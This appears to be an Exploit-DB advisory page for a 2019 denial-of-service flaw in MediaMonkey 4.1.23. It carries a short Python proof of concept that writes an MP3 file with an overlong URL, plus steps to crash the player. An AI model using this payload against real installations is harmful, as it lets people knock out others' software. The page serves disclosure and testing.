MediaMonkey 4.1.23 - URL Denial of Service (PoC)

vendor:

MediaMonkey

by:

Alejandra Sánchez

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: MediaMonkey

Affected Version From: 4.1.23.1881

Affected Version To: 4.1.23.1881

Patch Exists: YES

Related CWE: N/A

CPE: a:ventis_media:mediamonkey:4.1.23.1881

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2019

MediaMonkey 4.1.23 – URL Denial of Service (PoC)

MediaMonkey 4.1.23 is vulnerable to a denial of service attack when a specially crafted MP3 file is opened. The vulnerability is triggered when a user opens a specially crafted MP3 file with a long URL. This causes the application to crash.

Mitigation:

Upgrade to the latest version of MediaMonkey.

Source

Exploit-DB raw data:

# -*- coding: utf-8 -*-
# Exploit Title: MediaMonkey 4.1.23 - URL Denial of Service (PoC)
# Date: 13/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.mediamonkey.com/
# Software Link: https://www.mediamonkey.com/sw/MediaMonkey_4.1.23.1881.exe
# Version: 4.1.23.1881
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "MediaMonkey.py", it will create a new file "PoC.mp3"
# 2.- Open MediaMonkey.exe 
# 3.- Go to File > Open URL or File...
# 4.- Click on button -> Browse... and select the 'PoC.mp3' file created
# 5.- Crashed

buffer = "http://127.0.0.1/"
badstr = "\x41" * 4000
buffer += badstr
buffer += ".mp3"

f = open ("PoC.mp3", "w")
f.write(buffer)
f.close()